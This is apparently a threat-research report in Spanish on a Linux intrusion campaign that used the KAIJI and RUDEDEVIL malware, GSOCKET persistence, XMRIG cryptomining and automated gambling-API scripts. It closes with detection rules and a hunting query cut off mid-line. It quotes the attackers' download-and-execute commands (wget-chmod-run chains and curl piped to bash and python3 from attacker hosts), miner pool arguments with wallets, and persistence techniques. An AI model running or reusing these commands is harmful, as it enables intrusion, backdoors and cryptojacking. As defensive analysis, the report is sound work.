Apostar por los bots: investigar el malware de Linux, la minería de criptomonedas y el abuso de las API de juegos de azar

Introducción

En los últimos meses, Elastic Security Labs descubrió una sofisticada campaña de malware para Linux dirigida a servidores vulnerables. Los atacantes iniciaron el compromiso en marzo de 2024 explotando un servidor sitio web Apache2. Al obtener el acceso inicial, los actores de amenazas desplegaron un complejo conjunto de intrusiones para establecer la persistencia y expandir su control sobre el host comprometido.

Los actores de amenazas emplearon una combinación de herramientas y malware, incluidos canales C2 disfrazados de procesos del kernel, bots de telegramas para la comunicación y trabajos cron para la ejecución de tareas programadas. En individuo, implementaron múltiples familias de malware, como KAIJI y RUDEDEVIL, junto con malware escrito a medida. KAIJI, conocida por sus capacidades DDoS, y RUDEDEVIL, un minero de criptomonedas, se emplearon para explotar los recursos del sistema con fines maliciosos.

Nuestra investigación reveló un posible esquema de minería de Bitcoin/XMR que aprovecha las API de juegos de azar, lo que sugiere que los atacantes podrían estar realizando actividades de lavado de dinero empleando hosts comprometidos. También obtuvimos acceso a un recurso compartido de archivos que alojaba cargas diarias de muestras nuevas de KAIJI con hashes nunca antes vistos, lo que indica un desarrollo activo y adaptación por parte de los autores del malware.

Esta publicación de investigación profundiza en los detalles de la campaña, proporcionando un análisis exhaustivo de las tácticas, técnicas y procedimientos de los atacantes. Exploramos cómo establecieron el acceso inicial, los métodos empleados para la persistencia y la escalada de privilegios, y el malware implementado en cada etapa. Además, discutimos la infraestructura de comando y control, incluido el uso de GSOCKET y Telegram para la comunicación sigilosa.

Flujo de ejecución

Acceso inicial

Nuestro equipo observó un host que inicialmente se vio comprometido en marzo de 2024 al obtener la ejecución de código arbitrario en un servidor que ejecutaba Apache2. La evidencia de este compromiso se ve en la ejecución del comando id a través del proceso Apache2, luego de lo cual vemos al actor de amenazas explotando el servidor sitio web y desplegando el malware KAIJI bajo la cuenta de usuario www-data .

Poco luego de la implementación de Kaiji, el atacante empleó la cuenta de www-data para descargar un script llamado 00.sh de la URL http://61.160.194[.]160:35130, que, luego de una investigación más profunda, también alojaba varias versiones del malware RUDEDEVIL.

00.sh es un stager que:

• Establece su shell y PATH predeterminados.
• Elimina varios archivos de registro para borrar los rastros de ejecución.
• Aprovecha ps, netstat, lsof y una lista de nombres de procesos de minería comunes para eliminar cualquier posible competencia de minería en el host comprometido.
• Vacía las reglas iptables en el host, establece varias reglas de iptables para bloquear las conexiones a puertos de destino específicos y grupos de minería, y deshabilita iptables.
• Finalmente, se descarga y ejecuta una segunda etapa (sss6/sss68) y se borran los seguimientos de ejecución.

La siguiente figura muestra una versión comprimida del stager. Las líneas anotadas con [...] se acortan para mejorar la legibilidad.

Servidor de archivos

A través del proceso de servidor sitio web de puerta trasera, el atacante descargó y ejecutó malware a través del siguiente comando:

sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86

Los archivos l64 y l86 se descargan de http://107.178.101[.]245:5488, luego de lo cual se les otorgan todas las licencias, se ejecutan y se eliminan. Al observar el servidor que aloja estas muestras de malware, vemos lo siguiente:

Este parece ser un servidor de archivos, que aloja varios tipos de malware para diferentes arquitecturas. El servidor de archivos aprovecha la tecnología Rejetto. Estos malwares tienen fechas de carga y contadores de descargas. Por ejemplo, el archivo download.sh que se subió el 10 de septiembre, ya se descargó 3.100 veces.

RUDEÓN/LUCIFER

Tras una inspección más cercana, el archivo sss6, que se descargó y ejecutó, se identificó como el malware RUDEDEVIL. Al principio del proceso de ejecución, nos encontramos con un mensaje incrustado característico de esta familia de malware:

Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo

Observamos que los archivos l64 y l86 que están alojados en el servidor de archivos contienen el mismo malware. Al analizar el flujo de ejecución del malware vemos que la función principal del malware realiza varias tareas clave:

• Inicialización del demonio: El proceso se convierte en un demonio mediante daemon(1, 0).
• Creación de sockets: Se crea un socket y se enlaza a un puerto específico.
• Manejo de señales: Los controladores de señales personalizados están configurados para varias señales.
• Inicialización del servicio: Se inician varios servicios empleando SetFILE.
• Manejo de privilegios: Comprueba los privilegios de root y ajusta los límites de recursos en consecuencia.
• Descifrado: El malware descifra sus blobs de configuración.
• Creación de hilos: Se generan varios subprocesos para tareas como la minería, la eliminación de procesos y la supervisión del uso de la red y la CPU.
• Bucle principal: El programa entra en un bucle infinito en el que se conecta repetidamente a un servidor y se suspende durante un tiempo determinado.

Al examinar la rutina de cifrado, encontramos que emplea codificación basada en XOR:

Para decodificar los contenidos de forma estática, desarrollamos un fragmento básico de Python:

def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key & 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))

Luego de decodificar la configuración, se revelan los siguientes valores:

• El primer dominio de valor C2 nishabii[.]xyz.
• El segundo valor revela las opciones que se pasarán a XMRIG.
• El tercer valor muestra la ubicación del archivo temporal que emplea el malware.
• La cuarta y última cadena muestra la ubicación de descarga del binario XMRIG.

Gestión de hilos en el malware

El malware inicia varios subprocesos para manejar sus operaciones principales. Exploremos en detalle cómo funcionan algunas de estas funciones.

Descripción de la función KillPid

Uno de los subprocesos ejecuta la función KillPid, que está diseñada para monitorear y gestionar procesos de forma continua. La función comienza desconectando su subproceso actual, lo que permite que se ejecute en segundo plano sin bloquear otros procesos. A continuación, entra en un bucle infinito, ejecutando repetidamente sus tareas.

En el corazón de su funcionalidad se encuentra una matriz llamada sb_name, que contiene los nombres de los procesos que el malware quiere terminar.

Cada dos segundos, la función comprueba el sistema en busca de procesos enumerados en esta matriz, recuperando sus ID de proceso (PID) mediante una función auxiliar llamada getPidByName. Luego de cada iteración, pasa al siguiente proceso de la lista, cerciorar de que se controlen todos los procesos de sb_name .

Curiosamente, luego de procesar todos los elementos de la matriz, la función entra en una suspensión prolongada durante 600 segundos, aproximadamente 10 minutos, antes de reanudar sus comprobaciones de proceso. Es probable que este periodo de suspensión prolongado se implemente para conservar los recursos del sistema, lo que garantiza que el malware no consuma demasiado tiempo de CPU mientras monitorea los procesos.

Comprensión de la función Get_Net_Messages

Otro hilo crucial es responsable de monitorear el tráfico de red, centrar específicamente en la interfaz de red eth0 . Esta funcionalidad es manejada por la función getOutRates . La función comienza configurando las variables necesarias y abriendo el archivo /proc/net/dev , que contiene estadísticas de red detalladas para cada interfaz.

Si el archivo se abre con éxito, el malware lee un bloque de datos, de hasta 1024 bytes, y lo procesa para extraer las estadísticas de red relevantes. Busca específicamente la interfaz eth0 , analizando los datos de velocidad de salida mediante un método de análisis de cadenas estándar. Si se realiza correctamente, la función devuelve la velocidad de salida para eth0; De lo contrario, devuelve 0, lo que garantiza que el malware siga funcionando incluso si se produce un error.

Esta rutina permite que el malware monitoree silenciosamente la actividad de red de la máquina infectada, probablemente para rastrear los datos que se envían o reciben a través de la interfaz.

Comprender la función Get_Cpu_Message

Para la supervisión de la CPU, el malware emplea la función GetCpuRates . Esta función monitorea continuamente el uso de la CPU mediante la lectura de datos de /proc/stat. De manera similar a cómo se manejan los datos de red, las estadísticas de la CPU se leen y analizan, lo que permite que el malware calcule el uso de la CPU del sistema.

La función funciona en un bucle infinito, durmiendo durante un segundo entre cada iteración para evitar sobrecargar el sistema. Si el archivo no se puede abrir por algún motivo, la función registra un error y se cierra correctamente. Sin embargo, mientras pueda leer el archivo, monitorea continuamente el uso de la CPU, lo que garantiza que el malware permanezca al tanto del rendimiento del sistema.

Comprender la función Send_Host_Message

Quizás el hilo más crítico es el responsable de enviar la información del sistema a los operadores de malware. La función _SendInfo realiza esta tarea recopilando datos sobre el uso de la CPU y la red del sistema infectado. Comienza configurando búferes y preparando las rutas de los archivos para recopilar los datos necesarios. Dependiendo del estado del sistema, formatea el uso de la CPU y la red en una cadena.

Además, la función comprueba si un proceso en individuo se está ejecutando en el sistema y ajusta su mensaje formateado en consecuencia. Finalmente, envía estos datos formateados de vuelta al servidor de comando y control a través de una conexión de socket.

En esencia, esta función permite que el malware monitoree de forma remota la máquina infectada, recopilando detalles clave como la carga de la CPU y la actividad de la red. Los operadores pueden emplear esta información para evaluar el estado de su infección y ajustar sus actividades según sea necesario.

Conexión al servidor de comando y control (C2)

Una vez que todos los subprocesos están en funcionamiento, el malware cambia su enfoque para establecer una conexión con su servidor C2. Esto es gestionado por la función ConnectServer en el subproceso principal, que maneja la comunicación con el servidor y ejecuta comandos de forma remota.

Descripción de la función ConnectServer

La primera tarea que realiza la función ConnectServer es establecer una conexión con el servidor C2 mediante ServerConnectCli. Luego de conectarse con éxito, el malware configura el socket para habilitar la configuración de keep-alive, lo que garantiza que la conexión permanezca estable durante largos periodos de tiempo.

Una vez que se configura la conexión, el malware recopila varias piezas de información del sistema, incluido el nombre de host, la información del usuario, las especificaciones de la CPU y los detalles de la memoria. A continuación, esta información se envía al servidor como una carga de datos inicial, lo que proporciona a los atacantes una vista detallada de la máquina infectada.

Luego de esta configuración inicial, el malware entra en un bucle continuo en el que espera y procesa los comandos del servidor. Los tipos de comandos que se manejan son variados y pueden incluir tareas como lanzar un ataque DDoS, detener o iniciar operaciones intensivas de CPU, ejecutar comandos del sistema o gestionar actividades de minería de criptomonedas. El bucle continúa indefinidamente, lo que garantiza que el malware esté listo para ejecutar cualquier comando enviado por sus operadores.

Cuando la conexión ya no es necesaria, o cuando el malware recibe un comando de terminación, cierra el socket con elegancia, finalizando la sesión con el servidor.

Comandos de comando y control (C2)

La función ConnectServer procesa una variedad de comandos del servidor C2, cada uno diseñado para controlar un aspecto diferente del sistema infectado. Aquí hay un desglose de los comandos manejados por el malware:

• Caso 4: El malware llama a la función DealwithDDoS , probablemente iniciando un ataque de denegación de servicio distribuido (DDoS).
• Caso 5: Establece el StopFlag en 1, lo que podría indicar al malware que detenga tareas específicas.
• Caso 6: Descarga un archivo del servidor mediante http_get, cambia sus licencias y, a continuación, lo ejecuta. Este comando permite a los atacantes ejecutar malware o scripts adicionales en la máquina infectada.
• Caso 7: Ejecuta un comando del sistema empleando la función system , proporcionando a los atacantes control directo sobre la línea de comandos del sistema.
• Caso 8: Establece StopCpu en 0, resetear las tareas de CPU detenidas anteriormente.
• Caso 9: Establece StopCpu en 1, deteniendo todas las tareas de la CPU.
• Caso 0xA: Actualiza la configuración de minería de la CPU con nuevos datos y recupera el PID del proceso actual, lo que permite que el malware modifique sus operaciones de minería de criptomonedas.
• Caso 0xB: Establece stopxmr para 1, deteniendo efectivamente el minero XMRIG.
• Caso 0xC: Restablece stopxmr a 0 y recupera el PID del proceso actual, reanudando la actividad de minería.

Cada comando proporciona a los operadores de malware un control preciso sobre cómo se comporta la máquina infectada, ya sea participando en un ataque DDoS, ejecutando nuevo malware o gestionando operaciones de minería.

Variantes de RUDEDEVIL Malware y configuración de XMRIG

Mientras el servidor de archivos mencionado anteriormente estaba activo, observamos que se cargaban varias versiones del malware RUDEDEVIL. La funcionalidad principal de estas versiones se mantuvo en gran medida igual, con la única variación significativa de los comandos XMRIG integrados empleados para la minería de criptomonedas.

Cada versión del malware se configuró para conectarse al mismo grupo de minería, c3pool.org, pero con ligeras diferencias en los parámetros pasados al minero XMRIG:

• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0

Cada uno de estos comandos dirige al minero para que se conecte al mismo grupo de minería, pero especifica diferentes billeteras o configuraciones. Al examinar la aplicación c3pool , confirmamos que ambas direcciones XMR asociadas con estos comandos están actualmente activas y en proceso de minería.

Además, a través de este análisis, pudimos estimar el beneficio total generado por estas dos campañas de minería, destacando el impacto financiero del malware RUDEDEVIL y su conexión con las operaciones ilegales de minería de criptomonedas.

GSOCKET

Para establecer la persistencia, el actor de amenazas descargó e instaló GSOCKET, una utilidad de red diseñada para permitir la comunicación cifrada entre máquinas que están detrás de firewalls o NAT. GSOCKET crea conexiones seguras y persistentes a través de la red global de retransmisión de sockets (GSRN). Esta herramienta de código abierto incluye características como el cifrado AES-256, soporte para la seguridad de las comunicaciones de extremo a extremo y compatibilidad con SSH, netcat y TOR, que permiten la transferencia de archivos cifrados, la ejecución remota de comandos e incluso la creación de servicios ocultos.

Aunque GSOCKET no es inherentemente malicioso, sus características se pueden aprovechar con fines sospechosos.

Una vez implementado, GSOCKET realiza varias acciones para mantener la persistencia y ocultar su presencia. En primer lugar, comprueba el sistema en busca de procesos activos del kernel para decidir qué proceso se enmascarará como:

A continuación, crea el directorio /dev/shm/.gs-1000 para descargar y almacenar su binario en la memoria compartida. Además, de forma predeterminada, configura un directorio /htop en /home/user/.config/htop/ para almacenar tanto el binario GSOCKET como la clave secreta empleada para sus operaciones.

A continuación, se configura un trabajo cron que ejecuta el binario GSOCKET con la clave secreta cada minuto.

El binario se ejecuta bajo el nombre de un proceso del kernel empleando el comando exec -a [process_name] , lo que mejora aún más la capacidad de evadir la detección. El trabajo cron incluye un comando codificado en base64 que, cuando se decodifica, garantiza que el mecanismo de persistencia se ejecute de manera regular y se disfrace como un proceso legítimo del kernel:

Al decodificar la carga útil, vemos cómo la clave secreta defunct.dat se usa como argumento para ejecutar el binario defunct , que se enmascara como [raid5wq] mediante el uso de exec -a comando:

Además de usar trabajos cron, GSOCKET tiene la capacidad de establecer persistencia a través de la modificación del perfil de shell, control de ejecución (rc.local) y Systemd. GSOCKET enumera las posibles ubicaciones de persistencia:

GSOCKET admite múltiples webhooks, como integraciones de Telegram o Discord, lo que permite el control remoto y las notificaciones:

Finalmente, luego de la instalación, GSOCKET garantiza que todos los archivos que se creen o modifiquen se activarán para intentar borrar cualquier rastro de la instalación:

Estas características hacen de GSOCKET una herramienta atractiva para los actores de amenazas que buscan sigilo y persistencia. En esta campaña, GSOCKET fue explotado para establecer canales encubiertos de regreso a los servidores C2 mientras intentaba evadir la detección.

Además, se obtuvo una carga útil de PHP de una IP externa y se almacenó como 404.php, probablemente funcionando como una puerta trasera para el acceso futuro. No logramos obtener esta carga útil.

Tiempo de permanencia posterior al compromiso

Luego de un periodo de tres semanas de silencio sin actividad notable, los actores de amenazas reanudaron las operaciones empleando el Python3 incorporado para establecer una conexión inversa con un nuevo servidor de comando y control.

Luego de recuperar el acceso al host, se implementó una versión más reciente del malware KAIJI.

Malware KAIJI: una comparación con muestras anteriores

Mientras investigamos los archivos en el servidor de archivos detectado, vimos un script de shell. Este script de shell parece ser el archivo principal empleado para descargar en una etapa anterior, lo que garantiza que se emplee la arquitectura correcta para la víctima.

El mismo script de Shell se encuentra en otros reportes en los que se emplea este script para implementar KAIJI.

Como parte de nuestra investigación, analizamos las muestras de malware KAIJI encontradas en el servidor de archivos y las comparamos con las muestras identificadas por Black Lotus Labs en 2022. Su análisis detallado de Chaos (KAIJI) se puede encontrar en su publicación de blog aquí.

Usando BinDiff, una herramienta de comparación de binarios, comparamos las funciones en los binarios. El análisis reveló que el código de nuestra muestra era idéntico a la muestra KAIJI identificada anteriormente de 2022.

Aunque el código era el mismo, se destacaba una diferencia crítica: la dirección del servidor C2. Aunque la funcionalidad se mantuvo constante en ambos binarios, apuntaban a diferentes dominios C2.

Profundizando en el desensamblado, identificamos una función llamada main_Link. Esta función se encarga de decodificar la dirección del servidor C2 empleada por el malware.

Una vez decodificado, la función busca el |(odk)/*- el sufijo en la dirección y lo elimina, dejando solo el dominio C2 y el puerto. Este proceso garantiza que el malware pueda comunicar con su servidor C2, aunque la dirección con la que se pone en contacto puede cambiar entre muestras.

Dado que se publicaron algunos recursos que realizan ingeniería inversa estática de KAIJI, en su lugar echaremos un vistazo más detallado a sus comportamientos.

Luego de la ejecución, KAIJI crea varios archivos en los directorios /etc/ y /dev/ , /etc/id.services.conf, /etc/32678, /dev/.img y /dev/.old. Estos scripts son lugares para establecer la persistencia.

Se establecen dos servicios, /etc/init.d/linux_kill y crond.service. crond.service es ejecutado por Systemd, mientras que linux_kill se emplea para la persistencia de SysVinit.

Luego de recargar el demonio Systemd, se intenta la primera conexión de red al C2.

A continuación, se crea el archivo de servicio Systemd Late generator . Puede encontrar más información sobre el funcionamiento de Systemdy las diferentes formas de establecer la persistencia a través de este método en nuestro reciente serial de blogs denominada Linux Detection Engineering - A primer on persistence mechanisms.

KAIJI crea el archivo /boot/System.img.config , que es un ejecutable que se ejecuta a través de los servicios Systemd previamente desplegados. Este binario, entre otros binarios, es otra forma de establecer la persistencia.

A continuación, KAIJI ajusta las políticas de SELinux para permitir acciones no autorizadas. Busca en los registros de auditoría las operaciones denegadas relacionadas con System.img.conf, genera una nueva política de SELinux para permitir estas acciones e instala la política con prioridad elevada. Al hacer esto, el malware elude las restricciones de seguridad que normalmente bloquearían su actividad.

Además, establece múltiples formas adicionales de persistencia a través de perfiles bash y crea otros dos artefactos maliciosos; /usr/lib/libd1rpcld.so y /.img.

Inmediatamente después, /etc/crontab se modifica a través de un comando echo, lo que garantiza que el archivo /.img sea ejecutado por root en un horario establecido.

KAIJI continúa moviendo varios binarios predeterminados del sistema a ubicaciones inusuales, intentando evadir la detección en el camino.

KAIJI emplea el comando renice para otorgar a PID 2957, uno de los ejecutables plantados de KAIJI, la prioridad más alta posible (en una escala de -20 a 19, siendo la más baja la prioridad más alta), cerciorando que obtenga más recursos de CPU que otros procesos.

Para evadir la detección, KAIJI empleó la técnica de montaje de enlace, un método de evasión de defensa que oscurece las actividades maliciosas mediante la manipulación de cómo se montan y ven los directorios dentro del sistema.

Finalmente, vemos un rastro de cron ejecutando el /.img, que se plantó en el archivo /etc/crontab anteriormente.

La saga continúa

Dos semanas después, la puerta trasera de Apache volvió a estar activa. Otra puerta trasera se descargó a través del usuario www-data a través del proceso Apache2 usando el comando:

sh -c wget http://91.92.241[.]103:8002/gk.php

El contenido de esta carga útil sigue siendo desconocido. En esta etapa, observamos intentos de escalada manual de privilegios, con los atacantes desplegando pspy64. Pspy es una herramienta de línea de comandos para la indagación de procesos en sistemas Linux sin necesidad de licencias de root. Monitorear los procesos en ejecución, incluidos los iniciados por otros usuarios, y captura eventos como las ejecuciones de trabajos cron. Esta herramienta es particularmente útil para analizar la actividad del sistema, detectar intentos de escalada de privilegios y auditar los comandos y las interacciones del sistema de archivos desencadenadas por los procesos en tiempo real. Por lo general, los atacantes lo aprovechan para el reconocimiento en escenarios posteriores al compromiso, lo que les brinda visibilidad de las tareas del sistema y las posibles vulnerabilidades.

En individuo, pspy64 fue ejecutado por el padre [rcu_preempt] , lo que indica que los actores de amenazas pasaron de aprovechar la puerta trasera del servidor sitio web a usar la puerta trasera GSOCKET.

Otros intentos de escalada de privilegios involucraron la explotación de CVE-2021-4034, también conocida como pwnkit. Esta vulnerabilidad afecta al componente pkexec del paquete PolicyKit en los sistemas Linux, lo que permite a un usuario sin privilegios ejecutar código arbitrario con privilegios de root. Al aprovechar esta falla, un atacante puede obtener un acceso elevado al sistema, lo que podría conducir a un control total sobre la máquina afectada.

Binarios personalizados

Inmediatamente después, los atacantes intentaron descargar un malware personalizado llamado apache2 y apache2v86 de:

• http://62.72.22[.]91/apache2
• http://62.72.22[.]91/apache2v86

Obtuvimos copias de estos archivos, que actualmente no tienen ninguna detección en VirusTotal. Sin embargo, al ejecutarlos dinámicamente, observamos errores de segmentación y nuestra telemetría confirmó la actividad de segfault en el host comprometido. Durante una semana, el actor de amenazas intentó alterar, cargar y ejecutar estos binarios más de 15 veces, pero debido a los repetidos segfaults, es poco probable que lograran ejecutar este malware personalizado.

Si bien los binarios no se ejecutaron, proporcionaron información valiosa durante la ingeniería inversa. Descubrimos varias cadenas codificadas en XOR dentro de las muestras.

La clave XOR empleada para codificar las cadenas se identificó como 0x79 (o el carácter y). Luego de decodificar las cadenas, descubrimos fragmentos de un encabezado de solicitud HTTP que el malware intentaba construir:

/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.

Esto indica que el malware estaba en el proceso de construir solicitudes HTTP. Sin embargo, debido a la naturaleza incompleta de los encabezados y a los repetidos fallos en la ejecución, está claro que este software aún no estaba completamente desarrollado ni operativo.

Reconocimiento adicional

Los atacantes continuaron empleando las herramientas de The Hacker's Choice, descargando y ejecutando whatserver.sh.

Este script de Shell está diseñado para recopilar y mostrar información del servidor. Extrae detalles como los nombres de dominio completos (FQDN) de los certificados SSL, Nginx y los archivos de configuración de Apache, junto con información de recursos del sistema, como el uso de CPU y memoria, detalles de virtualización y configuración de red. El script también puede resumir las actividades recientes, incluidos los últimos usuarios que iniciaron sesión y los servicios que están escuchando actualmente.

Actividades mineras

Luego de casi dos semanas de intentos de explotación manual, los actores de amenazas cesaron sus esfuerzos por aumentar los privilegios, probablemente sin lograr obtener acceso a la raíz. En su lugar, establecieron la persistencia como el usuario www-data , aprovechando GSOCKET para configurar una conexión SSL, que se disfrazó como un proceso del kernel llamado [mm_percpu_wq].

Luego de decodificar el contenido de base64, obtenemos una salida de aspecto muy familiar:

A través de nuestras reglas de comportamiento, vemos que el actor de amenazas enumera las entradas de crontab del usuario actual y hace eco de una carga útil directamente en el crontab.

Este comando intenta descargar http://gcp.pagaelrescate[.]com:8080/ifindyou cada minuto y canalizarlo a bash. Mirando el contenido de ifindyou, vemos el siguiente script de Bash:

Este script recopila información de nombre de host e IP, descarga el archivo de SystemdXC de http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC (XMRIG), lo almacena en /tmp/SystemdXC, extrae el archivo y lo ejecuta con los parámetros necesarios para comenzar a minar Bitcoin.

Al examinar el comando de minería, podemos ver cómo el malware configura XMRIG:

Este comando se conecta al grupo de minería unmineable.com , empleando el nombre de host de la máquina infectada como identificador en el proceso de minería. En el momento de escribir este artículo, hay 15 trabajadores activos minando Bitcoin para la dirección de la billetera 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz.

Al investigar más a fondo la dirección de Bitcoin, descubrimos que esta dirección realizó una sola transacción.

Curiosamente, la dirección de salida de esta transacción apunta a una conocida billetera caliente asociada con Binance, lo que indica que los atacantes pueden transferir sus ganancias mineras a una plataforma de intercambio.

Al volver a centrarnos en el script, también vemos dos comandos comentados, que se aclararán más adelante. El script ejecuta:

curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash

Al observar esta carga útil, podemos ver los siguientes contenidos:

Esta etapa verifica la salida del comando y la envía a un bot de chat de Telegram. A través de nuestra regla de comportamiento de Telegram, podemos ver que una solicitud POST de Telegram se ve así:

El cron job que se configura durante esta etapa se ejecuta en el minuto 0, cada 4 horas. Este trabajo ejecuta:

curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3

El script de Python descargado automatiza las interacciones con un juego de apuestas en línea a través de solicitudes HTTP. El script incluye funciones que manejan la autenticación del usuario, las apuestas, el procesamiento de los resultados y el envío de datos a un servidor remoto.

Tras un examen más detallado, identificamos los siguientes componentes clave del guión:

Variables globales:

• usuario: Almacena el ID de usuario para gestionar la sesión.
• apuesta: Representa el importe de la apuesta.
• ganancias: Realiza un seguimiento de las ganancias y pérdidas.
• saldo_actual: Mantiene el saldo de la cuenta corriente.

Comprender la función obteneruid

Esta función autentica al usuario enviando una solicitud POST con los encabezados y datos JSON necesarios al servidor remoto. Si el usuario aún no está configurado, inicializa una nueva sesión y recupera el saldo de la cuenta. Tras una autenticación exitosa, devuelve un UUID de sesión, que se emplea para más interacciones en el juego.

Comprender la función enviardatos

Esta función envía datos del juego o actualizaciones de estado a gcp.pagaelrescate[.]com, registrando los resultados o las acciones realizadas durante el juego. Emplea una simple solicitud GET para transmitir estos datos al servidor remoto.

Comprender la función hacerjugada

La función hacerjugada simula el proceso de apuestas durante un número determinado de rondas. Envía solicitudes POST para realizar apuestas, actualiza las ganancias o pérdidas luego de cada ronda y calcula los resultados generales. Si se activa una ronda de bonificación, llama a completarbono() para manejar los detalles del juego de bonificación. Entre cada ronda de apuestas, la función aplica un retraso de 30 segundos para imitar el juego natural y evitar la detección.

Comprender la función completarbono

Cuando se activa una ronda de bonificación, esta función completa la ronda enviando una solicitud que contiene el ID de sesión y el ID de ronda. En función del resultado, actualiza el saldo de la cuenta y registra las ganancias o pérdidas. Cualquier cambio en el saldo se envía de vuelta al servidor remoto empleando la función enviardatos() .

Probablemente se emplee con fines de prueba

Es importante tener en cuenta que es probable que este script se emplee con fines de prueba, ya que interactúa con la versión de demostración de la aplicación de apuestas. Esto sugiere que los atacantes podrían estar probando la automatización de las acciones de juego o tratando de encontrar vulnerabilidades en la aplicación antes de pasar a la versión en tiempo real. El uso de un entorno de demostración implica que están refinando su enfoque, potencialmente en preparación para ataques más sofisticados o generalizados.

REF6138 a través de MITRE ATT&CK

Elastic usa el framework MITRE ATT&CK para documentar tácticas, técnicas y procedimientos comunes que las amenazas persistentes avanzadas emplean contra las redes empresariales. Durante esta investigación, identificamos las siguientes tácticas, técnicas y subtécnicas:

Tácticas, técnicas y subtécnicas empleadas de MITRE ATT&CK

Detección de REF6138

Elastic Security implementa un enfoque multicapa para la detección de amenazas, aprovechando las reglas conductuales de SIEM y Endpoint, las firmas YARA y los enfoques de detección de anomalías basados en ML. En esta sección, se describen las detecciones creadas por Elastic Security que desempeñan un papel importante en la captura de las amenazas identificadas.

Detección

Se observaron las siguientes reglas de detección a lo largo del análisis de este conjunto de intrusiones:

• Detección de Segfault
• Pisoteo de tiempo con el comando táctil
• Creación o modificación de la configuración del shell
• Binario del sistema movido o copiado

Prevención

Se observaron los siguientes eventos de prevención del comportamiento a lo largo del análisis de este conjunto de intrusiones:

• Shell inverso de Linux a través de una utilidad sospechosa
• Evasión de defensa a través de la montura Bind
• Ejecución de procesos secundarios sospechosos de Linux a través de Interactive Shell
• Lanzamiento de una posible herramienta de hackeo de Linux
• Escalada de privilegios a través de la explotación de PKEXEC
• Posible gusano SSH-IT SSH descargado
• Trabajo programado que ejecuta binario en una ubicación inusual

Las siguientes firmas YARA están en su lugar para detectar las muestras de malware KAIJI y RUDEDEVIL tanto en archivo como en memoria:

• Linux.Generic.Amenaza
• Linux.Hacktool.Flooder

A lo largo del análisis de este conjunto de intrusiones, se observaron las siguientes alertas de reglas de punto final, que se publicarán próximamente:

• Shell potencial a través del servidor sitio web
• Posible inyección de código de servidor sitio web
• Shell potencial ejecutado por el usuario del servidor sitio web
• Decodificación de la actividad a través del servidor sitio web
• Linux Telegram API Request
• Ejecución de eco sospechosa

Consultas de búsqueda en Elastic

Los eventos para KQL y EQL se proporcionan con Elastic Agent mediante la integración de Elastic Defender. Las consultas de búsqueda podrían devolver señales altas o falsos positivos. Estas consultas se emplean para identificar comportamientos potencialmente sospechosos, pero se requiere una investigación para validar los hallazgos.

Consultas EQL

Usando la sección Línea de tiempo de la solución de seguridad en Kibana en la pestaña "Correlación", puedes usar las siguientes consultas de EQL para buscar comportamientos similares:

Posible ejecución de XMRIG

La siguiente consulta EQL se puede emplear para buscar ejecuciones XMRIG dentro de su entorno.

process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("-a", "--algo") and process.args in (
